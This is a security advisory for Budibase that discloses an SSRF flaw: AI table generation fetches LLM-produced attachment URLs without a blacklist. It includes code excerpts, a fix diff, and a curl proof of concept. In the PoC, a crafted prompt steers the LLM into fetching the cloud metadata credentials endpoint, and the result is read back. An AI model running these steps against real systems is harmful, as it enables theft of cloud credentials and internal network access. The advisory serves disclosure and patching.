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GHSA-hfhx-w8p8-4hc7
No affected components available
Budibase: SSRF via bare fetch() in uploadUrl during AI table generation
Summary
The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).
A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.
This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.
Affected Versions
<= 3.39.0 (current lerna.json version at time of analysis)
Vulnerability Details
Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check
// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
const res = await fetch(url) // No blacklist validation
This is called from:
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
entry: Record<string, any>,
attachmentColumns: FieldSchema[]
) {
function processAttachment(value: any) {
if (typeof value === "object") {
return uploadFile(value)
}
return uploadUrl(value) // String values treated as URLs, fetched without protection
}
Which is triggered via generateRows() at line 34:
// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
await processAttachments(entry, attachmentColumns)
Compare with correct sibling: processUrlFile() in extract.ts
// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
fileUrl: string,
fileType: SupportedFileType,
llm: LLMResponse
): Promise<ExtractInput> {
const response = await fetchWithBlacklist(fileUrl) // Correct: uses blacklist
The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:
// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
url: string,
request: RequestInit = {}
): Promise<Response> {
const maxRedirects = 5
let nextUrl = url
// ...
for (let redirects = 0; redirects <= maxRedirects; redirects++) {
await throwIfBlacklisted(nextUrl) // Validates against private IP ranges
const response = await fetch(nextUrl, nextRequest)
Proof of Concept
Prerequisites: Builder-level authentication, AI feature enabled on the instance.
# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
-H 'Content-Type: application/json' \
-d '{"username":"builder@example.com","password":"password123"}' \
-c - | grep budibase:auth | awk '{print $NF}')
# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx" # Use existing app
# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
-H "Content-Type: application/json" \
-H "Cookie: budibase:auth=$TOKEN" \
-d '{
"prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}'
# The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
# which fetches the cloud metadata endpoint without any SSRF protection.
# The response content is saved to object storage and a URL is returned in the row data.
# Step 4: Read the created row to exfiltrate the metadata response
curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \
-H "Cookie: budibase:auth=$TOKEN"
# The attachment URL in the response points to the saved metadata content
Impact
- Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)
- Internal service enumeration and data exfiltration from private network resources
- Port scanning of internal infrastructure via timing/error differences
- Bypass of network segmentation when Budibase is deployed in a DMZ or VPC
Suggested Remediation
Replace the bare fetch() in uploadUrl() with fetchWithBlacklist():
// packages/server/src/utilities/fileUtils.ts
import fs from "fs"
-import fetch from "node-fetch"
import path from "path"
import { pipeline } from "stream"
import { promisify } from "util"
import * as uuid from "uuid"
import { context, objectStore } from "@budibase/backend-core"
import { Upload } from "@budibase/types"
import { ObjectStoreBuckets } from "../constants"
+import { fetchWithBlacklist } from "../automations/steps/utils"
// ...
export async function uploadUrl(url: string): Promise<Upload | undefined> {
try {
- const res = await fetch(url)
+ const res = await fetchWithBlacklist(url)
const extension = [...res.url.split(".")].pop()!.split("?")[0]
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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